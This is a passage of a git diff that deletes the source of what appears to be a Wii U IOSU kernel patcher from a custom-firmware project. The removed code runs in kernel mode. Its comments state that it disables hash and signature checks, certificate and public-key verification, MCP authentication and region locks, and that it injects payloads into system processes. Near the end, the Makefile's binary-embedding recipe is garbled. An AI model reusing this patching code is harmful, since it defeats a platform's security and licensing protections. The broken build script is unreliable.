Elf32_Phdr *phdr = get_section(ios_elf_start, address); - if(!phdr) - return; - - if((address - phdr->p_vaddr + size) > phdr->p_memsz) - { - phdr->p_memsz = (address - phdr->p_vaddr + size); - } -} - -void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size) -{ - Elf32_Phdr *phdr = get_section(ios_elf_start, address); - if(!phdr) - return; - - u32 *addr = (u32*)(ios_elf_start + address - phdr->p_vaddr + phdr->p_offset); - - if((address - phdr->p_vaddr + size) > phdr->p_filesz) - { - u32 additionalSize = address - phdr->p_vaddr + size - phdr->p_filesz; - - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) ios_elf_start; - Elf32_Phdr * tmpPhdr; - u32 i; - for(i = (ehdr->e_phnum-1); i >= 0; i--) - { - tmpPhdr = (Elf32_Phdr *) (ios_elf_start + ehdr->e_phoff + ehdr->e_phentsize * i); - - if(phdr->p_offset < tmpPhdr->p_offset) - { - reverse_memcpy((u8*)ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8*)ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz); - tmpPhdr->p_offset += additionalSize; - } - else { - break; - } - } - phdr->p_filesz += additionalSize; - if(phdr->p_memsz < phdr->p_filesz) - { - phdr->p_memsz = phdr->p_filesz; - } - } - - // in most cases only a word is copied to an aligned address so do a short cut for performance - if(size == 4 && !((unsigned int)addr & 3) && !((unsigned int)data & 3)) - { - *(u32*)addr = *(u32*)data; - } - else - { - kernel_memcpy(addr, data, size); - } -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h b/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h deleted file mode 100644 index d3e937c..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _ELF_PATCHER_H -#define _ELF_PATCHER_H - -#include "types.h" - -#define ARM_B(addr, func) (0xEA000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) -#define ARM_BL(addr, func) (0xEB000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) - -typedef struct -{ - u32 address; - void* data; - u32 size; -} patch_table_t; - -void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size); -void section_write_bss(u32 ios_elf_start, u32 address, u32 size); - -static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word) -{ - section_write(ios_elf_start, address, &word, sizeof(word)); -} - -static inline void section_write_ushort(u32 ios_elf_start, u32 address, u16 ushort) -{ - section_write(ios_elf_start, address, &ushort, sizeof(ushort)); -} - -static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t * patch_table, u32 patch_count) -{ - u32 i; - for(i = 0; i < patch_count; i++) - { - section_write(ios_elf_start, patch_table[i].address, patch_table[i].data, patch_table[i].size); - } -} - - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/getbins.c b/dsrom/iosu_patcher/arm_kernel/source/getbins.c deleted file mode 100644 index aa7e130..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/getbins.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../../payload/titleprot_bin.h" -#include "../../payload/titleprot2_bin.h" -#include "../../payload/wupserver_bin.h" - -//not really a bin but still a const val -const int from_cbhc = 1; - -const unsigned char *get_titleprot_bin() -{ - return titleprot_bin; -} - -unsigned int get_titleprot_bin_len() -{ - return titleprot_bin_len; -} - -const unsigned char *get_titleprot2_bin() -{ - return titleprot2_bin; -} - -unsigned int get_titleprot2_bin_len() -{ - return titleprot2_bin_len; -} - -const unsigned char *get_wupserver_bin() -{ - return wupserver_bin; -} - -unsigned int get_wupserver_bin_len() -{ - return wupserver_bin_len; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/getbins.h b/dsrom/iosu_patcher/arm_kernel/source/getbins.h deleted file mode 100644 index a8d512d..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/getbins.h +++ /dev/null @@ -1,18 +0,0 @@ - -#ifndef _GETBINS_H_ -#define _GETBINS_H_ - -#define titleprot_addr 0x0510D988 -#define titleprot2_addr 0x0510D9AC -#define wupserver_addr 0x0510E570 - -const unsigned char *get_titleprot_bin(); -unsigned int get_titleprot_bin_len(); - -const unsigned char *get_titleprot2_bin(); -unsigned int get_titleprot2_bin_len(); - -const unsigned char *get_wupserver_bin(); -unsigned int get_wupserver_bin_len(); - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/main.c b/dsrom/iosu_patcher/arm_kernel/source/main.c deleted file mode 100644 index fd4592f..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/main.c +++ /dev/null @@ -1,224 +0,0 @@ -#include "types.h" -#include "utils.h" -#include "reload.h" -#include "elf_patcher.h" -#include "../../payload/arm_user_bin.h" -#include "getbins.h" - -static const char repairData_set_fault_behavior[] = { - 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, - 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, - 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, -}; -static const char repairData_set_panic_behavior[] = { - 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, - 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, - 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, - 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, - 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, - 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, - 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, -}; -static const char repairData_usb_root_thread[] = { - 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, - 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, - 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, - 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, - 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, - 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, - 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, -}; - -/* from smealum's iosuhax: must be placed at 0x05059938 */ -static const char os_launch_hook[] = { - 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, - 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, - 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, - 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, - 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, - 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, - 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, - 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, - 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, -}; - -extern const int from_cbhc; - -#define LAUNCH_SYSMENU 0 -#define LAUNCH_HBL 1 -#define LAUNCH_MOCHA 2 -#define LAUNCH_CFW_IMG 3 - -int _main() -{ - void(*invalidate_icache)() = (void(*)())0x0812DCF0; - void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; - void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; - - flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache - - int level = disable_interrupts(); - - unsigned int control_register = disable_mmu(); - - /* copy in ds vc title id to protect from installing/moving/deleting */ - kernel_memcpy((void*)(get_titleprot2_bin()+get_titleprot2_bin_len()-12), (void*)0x01E70108, 4); - kernel_memcpy((void*)(get_titleprot_bin()+get_titleprot_bin_len()-8), (void*)0x01E70108, 4); - - /* save if we are booted from CBHC */ - kernel_memcpy((void*)(&from_cbhc), (void*)0x01E70110, 4); - - /* get value CBHC or Haxchi used to boot up */ - unsigned int launchmode = *(volatile int*)0x01E7010C; - - /* Save the request handle so we can reply later */ - *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; - - /* Patch kernel_error_handler to BX LR immediately */ - *(volatile u32*)kernel_phys(0x08129A24) = 0xE12FFF1E; - - void * pset_fault_behavior = (void*)0x081298BC; - kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); - - void * pset_panic_behavior = (void*)0x081296E4; - kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); - - void * pusb_root_thread = (void*)0x10100174; - kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); - - void * pUserBinSource = (void*)0x01E50000; - void * pUserBinDest = (void*)0x101312D0; - kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); - - if(launchmode != LAUNCH_MOCHA) - { - // nop out memcmp hash checks - *(volatile u32*)crypto_phys(0x040017E0) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x040019C4) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x04001BB0) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x04001D40) = 0xE3A00000; // mov r0, #0 - - // patch OS launch sig check - *(volatile u32*)mcp_phys(0x0500A818) = 0x20002000; // mov r0, #0; mov r0, #0 - - // fix 10 minute timeout that crashes MCP after 10 minutes of booting - *(volatile u32*)mcp_phys(0x05022474) = 0xFFFFFFFF; // NEW_TIMEOUT - } - - if(launchmode != LAUNCH_MOCHA && launchmode != LAUNCH_CFW_IMG) - { - // jump to titleprot2_addr - *(volatile u32*)mcp_phys(0x05014670) = 0xF0F9F99C; //bl titleprot2_addr - - // patch MCP authentication check - *(volatile u32*)mcp_phys(0x05014CAC) = 0x20004770; // mov r0, #0; bx lr - - // replace ioctl 0x62 code with jump to wupserver - *(volatile u32*)mcp_phys(0x05026BA8) = 0x47780000; // bx pc - *(volatile u32*)mcp_phys(0x05026BAC) = 0xE59F1000; // ldr r1, [pc] - *(volatile u32*)mcp_phys(0x05026BB0) = 0xE12FFF11; // bx r1 - *(volatile u32*)mcp_phys(0x05026BB4) = wupserver_addr; // wupserver code - - // patch system version number - *(volatile u16*)mcp_phys(0x0502F29A) = 0x2363; // movs r3, #99 - *(volatile u16*)mcp_phys(0x0502F2AA) = 0x2363; // movs r3, #99 - *(volatile u16*)mcp_phys(0x0502F2BA) = 0x2363; // movs r3, #99 - - // patch cert verification - *(volatile u32*)mcp_phys(0x05052A90) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)mcp_phys(0x05052A94) = 0xE12FFF1E; // bx lr - - // patch IOSC_VerifyPubkeySign to always succeed - *(volatile u32*)mcp_phys(0x05052C44) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)mcp_phys(0x05052C48) = 0xE12FFF1E; // bx lr - - // patch cached cert check - *(volatile u32*)mcp_phys(0x05054D6C) = 0xE3A00000; // mov r0, 0 - *(volatile u32*)mcp_phys(0x05054D70) = 0xE12FFF1E; // bx lr - - // redirect mcp_debug_print to mcp_syslog_print (0x0503DCF0) - *(volatile u32*)mcp_phys(0x05055454) = 0xEBFFA225; // bl 0x0503DCF0 - - if(from_cbhc) // coldboot specific patches - { - // change system.xml to syshax.xml - *(volatile u32*)mcp_rodata_phys(0x050600F0) = 0x79736861; // ysha - *(volatile u32*)mcp_rodata_phys(0x050600F4) = 0x782E786D; // x.xm - - *(volatile u32*)mcp_rodata_phys(0x05060114) = 0x79736861; // ysha - *(volatile u32*)mcp_rodata_phys(0x05060118) = 0x782E786D; // x.xm - } - - // jump to titleprot_addr - *(volatile u32*)mcp_d_r_phys(0x05107F70) = 0xF005FD0A; //bl titleprot_addr - - //free some mcp_d_r room for our code - *(volatile u32*)mcp_d_r_phys(titleprot_addr-4) = 0x20004770; // mov r0, #0; bx lr - // overwrite mcp_d_r code with titleprot - kernel_memcpy((void*)mcp_d_r_phys(titleprot_addr), get_titleprot_bin(), get_titleprot_bin_len()); - invalidate_dcache(mcp_d_r_phys(titleprot_addr), get_titleprot_bin_len()); - - // overwrite mcp_d_r code with titleprot2 - kernel_memcpy((void*)mcp_d_r_phys(titleprot2_addr), get_titleprot2_bin(), get_titleprot2_bin_len()); - invalidate_dcache(mcp_d_r_phys(titleprot2_addr), get_titleprot2_bin_len()); - invalidate_icache(); - - //free some mcp_d_r room for our code - *(volatile u32*)mcp_d_r_phys(wupserver_addr-4) = 0x47700000; //bx lr - // overwrite mcp_d_r code with wupserver - kernel_memcpy((void*)mcp_d_r_phys(wupserver_addr), get_wupserver_bin(), get_wupserver_bin_len()); - invalidate_dcache(mcp_d_r_phys(wupserver_addr), get_wupserver_bin_len()); - invalidate_icache(); - - // apply IOS ELF launch hook (thanks dimok!) - *(volatile u32*)kernel_phys(0x0812A120) = ARM_BL(0x0812A120, kernel_launch_ios); - - // allow any region title launch - *(volatile u32*)acp_phys(0xE0030498) = 0xE3A00000; // mov r0, #0 - - // allow custom bootLogoTex and bootMovie.h264 - *(volatile u32*)acp_phys(0xE0030D68) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)acp_phys(0xE0030D34) = 0xE3A00000; // mov r0, #0 - } - - //custom fw.img reboot - if(launchmode == LAUNCH_CFW_IMG) - { - //copy in new fw.img path - int i; - for (i = 0; i < 32; i++) - if (i < 31) - ((char*)mcp_rodata_phys(0x050663B4))[i] = ((char*)0x01E70000)[i]; - else - ((char*)mcp_rodata_phys(0x050663B4))[i] = (char)0; - - // jump to launch_os_hook - *(volatile u32*)mcp_phys(0x050282AE) = 0xF031FB43; // bl launch_os_hook - - // copy launch_os_hook into free mcp code space - for (i = 0; i < sizeof(os_launch_hook); i++) - ((char*)mcp_phys(0x05059938))[i] = os_launch_hook[i]; - } - - if(from_cbhc) // coldboot specific patches - { - // patch default title id to system menu - *(volatile u32*)mcp_data_phys(0x050B817C) = *(volatile u32*)0x01E70100; - *(volatile u32*)mcp_data_phys(0x050B8180) = *(volatile u32*)0x01E70104; - - // force check USB storage on load - *(volatile u32*)acp_phys(0xE012202C) = 0x00000001; // find USB flag - } - - *(volatile u32*)(0x1555500) = 0; - - /* REENABLE MMU */ - restore_mmu(control_register); - - invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache - invalidate_icache(); - - enable_interrupts(level); - - return 0; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/mmu.s b/dsrom/iosu_patcher/arm_kernel/source/mmu.s deleted file mode 100644 index 17fab93..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/mmu.s +++ /dev/null @@ -1,18 +0,0 @@ -.section ".text" -.arm -.align 4 - -.globl disable_mmu -.type disable_mmu, %function -disable_mmu: - mrc p15, 0, r0, c1, c0, 0 - ldr r1, =#0xFFFFEFFA - and r1, r0, r1 - mcr p15, 0, r1, c1, c0, 0 - bx lr - -.globl restore_mmu -.type restore_mmu, %function -restore_mmu: - mcr p15, 0, r0, c1, c0, 0 - bx lr diff --git a/dsrom/iosu_patcher/arm_kernel/source/reload.c b/dsrom/iosu_patcher/arm_kernel/source/reload.c deleted file mode 100644 index ab6419b..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/reload.c +++ /dev/null @@ -1,113 +0,0 @@ -//kernel relaunch hook, thanks to dimok -#include "types.h" -#include "utils.h" -#include "reload.h" -#include "elf_patcher.h" -#include "getbins.h" - -extern char __file_start, __file_end; -extern const int from_cbhc; - -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) -{ - void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; - - if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) - { - int level = disable_interrupts(); - unsigned int control_register = disable_mmu(); - - u32 ios_elf_start = launch_address + 0x804 - 0x300; - - // nop out memcmp hash checks - section_write_word(ios_elf_start, 0x040017E0, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x040019C4, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x04001BB0, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x04001D40, 0xE3A00000); // mov r0, #0 - - // patch OS launch sig check - section_write_word(ios_elf_start, 0x0500A818, 0x20002000); // mov r0, #0; mov r0, #0 - - // jump to titleprot2_addr - section_write_word(ios_elf_start, 0x05014670, 0xF0F9F99C); //bl titleprot2_addr - - // patch MCP authentication check - section_write_word(ios_elf_start, 0x05014CAC, 0x20004770); // mov r0, #0; bx lr - - // jump over overwritten MCP debug thread start function - section_write_word(ios_elf_start, 0x0501FEE0, 0x20002000); //mov r0, #0; mov r0, #0 - - // fix 10 minute timeout that crashes MCP after 10 minutes of booting - section_write_word(ios_elf_start, 0x05022474, 0xFFFFFFFF); // NEW_TIMEOUT - - // replace ioctl 0x62 code with jump to wupserver - section_write_word(ios_elf_start, 0x05026BA8, 0x47780000); // bx pc - section_write_word(ios_elf_start, 0x05026BAC, 0xE59F1000); // ldr r1, [pc] - section_write_word(ios_elf_start, 0x05026BB0, 0xE12FFF11); // bx r1 - section_write_word(ios_elf_start, 0x05026BB4, wupserver_addr); // wupserver code - - // patch cert verification - section_write_word(ios_elf_start, 0x05052A90, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x05052A94, 0xE12FFF1E); // bx lr - - // patch IOSC_VerifyPubkeySign to always succeed - section_write_word(ios_elf_start, 0x05052C44, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x05052C48, 0xE12FFF1E); // bx lr - - // patch system version number - section_write_ushort(ios_elf_start, 0x0502F29A, 0x2363); // movs r3, #99 - section_write_ushort(ios_elf_start, 0x0502F2AA, 0x2363); // movs r3, #99 - section_write_ushort(ios_elf_start, 0x0502F2BA, 0x2363); // movs r3, #99 - - // patch cached cert check - section_write_word(ios_elf_start, 0x05054D6C, 0xE3A00000); // mov r0, 0 - section_write_word(ios_elf_start, 0x05054D70, 0xE12FFF1E); // bx lr - - // redirect mcp_debug_print to mcp_syslog_print (0x0503DCF0) - section_write_word(ios_elf_start, 0x05055454, 0xEBFFA225); // bl 0x0503DCF0 - - if(from_cbhc) // coldboot specific patches - { - // change system.xml to syshax.xml - section_write_word(ios_elf_start, 0x050600F0, 0x79736861); // ysha - section_write_word(ios_elf_start, 0x050600F4, 0x782E786D); // x.xm - - section_write_word(ios_elf_start, 0x05060114, 0x79736861); // ysha - section_write_word(ios_elf_start, 0x05060118, 0x782E786D); // x.xm - } - - // jump to titleprot_addr - section_write_word(ios_elf_start, 0x05107F70, 0xF005FD0A); //bl titleprot_addr - - //free some mcp_d_r room for our code - section_write_word(ios_elf_start, (titleprot_addr-4), 0x20004770); // mov r0, #0; bx lr - // overwrite mcp_d_r code with titleprot - section_write(ios_elf_start, titleprot_addr, get_titleprot_bin(), get_titleprot_bin_len()); - - // overwrite mcp_d_r code with titleprot2 - section_write(ios_elf_start, titleprot2_addr, get_titleprot2_bin(), get_titleprot2_bin_len()); - - //free some mcp_d_r room for our code - section_write_word(ios_elf_start, (wupserver_addr-4), 0x47700000); //bx lr - // overwrite mcp_d_r code with wupserver - section_write(ios_elf_start, wupserver_addr, get_wupserver_bin(), get_wupserver_bin_len()); - - // apply IOS ELF launch hook (thanks dimok!) - section_write_word(ios_elf_start, 0x0812A120, ARM_BL(0x0812A120, kernel_launch_ios)); - - // Put arm_kernel file back where it is now - section_write(ios_elf_start, (u32)&__file_start, &__file_start, &__file_end - &__file_start); - - // allow any region title launch - section_write_word(ios_elf_start, 0xE0030498, 0xE3A00000); // mov r0, #0 - - // allow custom bootLogoTex and bootMovie.h264 - section_write_word(ios_elf_start, 0xE0030D68, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0xE0030D34, 0xE3A00000); // mov r0, #0 - - restore_mmu(control_register); - enable_interrupts(level); - } - - kernel_launch_bootrom(launch_address, L, C, H); -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/reload.h b/dsrom/iosu_patcher/arm_kernel/source/reload.h deleted file mode 100644 index ef11113..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/reload.h +++ /dev/null @@ -1,7 +0,0 @@ - -#ifndef _RELOAD_H_ -#define _RELOAD_H_ - -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H); - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/types.h b/dsrom/iosu_patcher/arm_kernel/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/utils.c b/dsrom/iosu_patcher/arm_kernel/source/utils.c deleted file mode 100644 index 8ce65ae..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/utils.c +++ /dev/null @@ -1,92 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ - -// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement -void reverse_memcpy(void* dst, const void* src, unsigned int size) -{ - const unsigned char *src_p; - unsigned char *dst_p; - - if((size >= 4) && !((dst - src) & 3)) - { - const unsigned int *src_p32; - unsigned int *dst_p32; - unsigned int endDst = ((unsigned int)dst) + size; - unsigned int endRest = endDst & 3; - - if(endRest) - { - src_p = ((const unsigned char*)(src + size)) - 1; - dst_p = ((unsigned char*)endDst) - 1; - size -= endRest; - - while(endRest--) - *dst_p-- = *src_p--; - } - - src_p32 = ((const unsigned int*)(src + size)) - 1; - dst_p32 = ((unsigned int*)(dst + size)) - 1; - - unsigned int size32 = size >> 5; - if(size32) - { - size &= 0x1F; - - while(size32--) - { - src_p32 -= 8; - dst_p32 -= 8; - - dst_p32[8] = src_p32[8]; - dst_p32[7] = src_p32[7]; - dst_p32[6] = src_p32[6]; - dst_p32[5] = src_p32[5]; - dst_p32[4] = src_p32[4]; - dst_p32[3] = src_p32[3]; - dst_p32[2] = src_p32[2]; - dst_p32[1] = src_p32[1]; - } - } - - unsigned int size4 = size >> 2; - if(size4) - { - size &= 3; - - while(size4--) - *dst_p32-- = *src_p32--; - } - - dst_p = ((unsigned char*)dst_p32) + 3; - src_p = ((const unsigned char*)src_p32) + 3; - } - else - { - dst_p = ((unsigned char*)dst) + size - 1; - src_p = ((const unsigned char*)src) + size - 1; - } - - while(size--) - *dst_p-- = *src_p--; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/utils.h b/dsrom/iosu_patcher/arm_kernel/source/utils.h deleted file mode 100644 index d1d444f..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/utils.h +++ /dev/null @@ -1,48 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _UTILS_H -#define _UTILS_H - -#define ALIGN4(x) (((x) + 3) & ~3) - -#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) -#define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) -#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) -#define disable_interrupts ((int(*)())0x0812E778) -#define enable_interrupts ((int(*)(int))0x0812E78C) -#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) - -#define crypto_phys(addr) ((u32)(addr) - 0x04000000 + 0x08280000) -#define mcp_phys(addr) ((u32)(addr) - 0x05000000 + 0x081C0000) -#define mcp_rodata_phys(addr) ((u32)(addr) - 0x05060000 + 0x08220000) -#define mcp_data_phys(addr) ((u32)(addr) - 0x05074000 + 0x08234000) -#define mcp_d_r_phys(addr) ((u32)(addr) - 0x05100000 + 0x13D80000) -#define kernel_phys(addr) ((u32)(addr)) //just here for completion -#define acp_phys(addr) ((u32)(addr) - 0xE0000000 + 0x12900000) - -void reverse_memcpy(void* dest, const void* src, unsigned int size); -unsigned int disable_mmu(void); -void restore_mmu(unsigned int control_register); - -#endif diff --git a/dsrom/iosu_patcher/arm_user/Makefile b/dsrom/iosu_patcher/arm_user/Makefile deleted file mode 100644 index 54df575..0000000 --- a/dsrom/iosu_patcher/arm_user/Makefile +++ /dev/null @@ -1,71 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -rf build - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/arm_user/link.ld b/dsrom/iosu_patcher/arm_user/link.ld 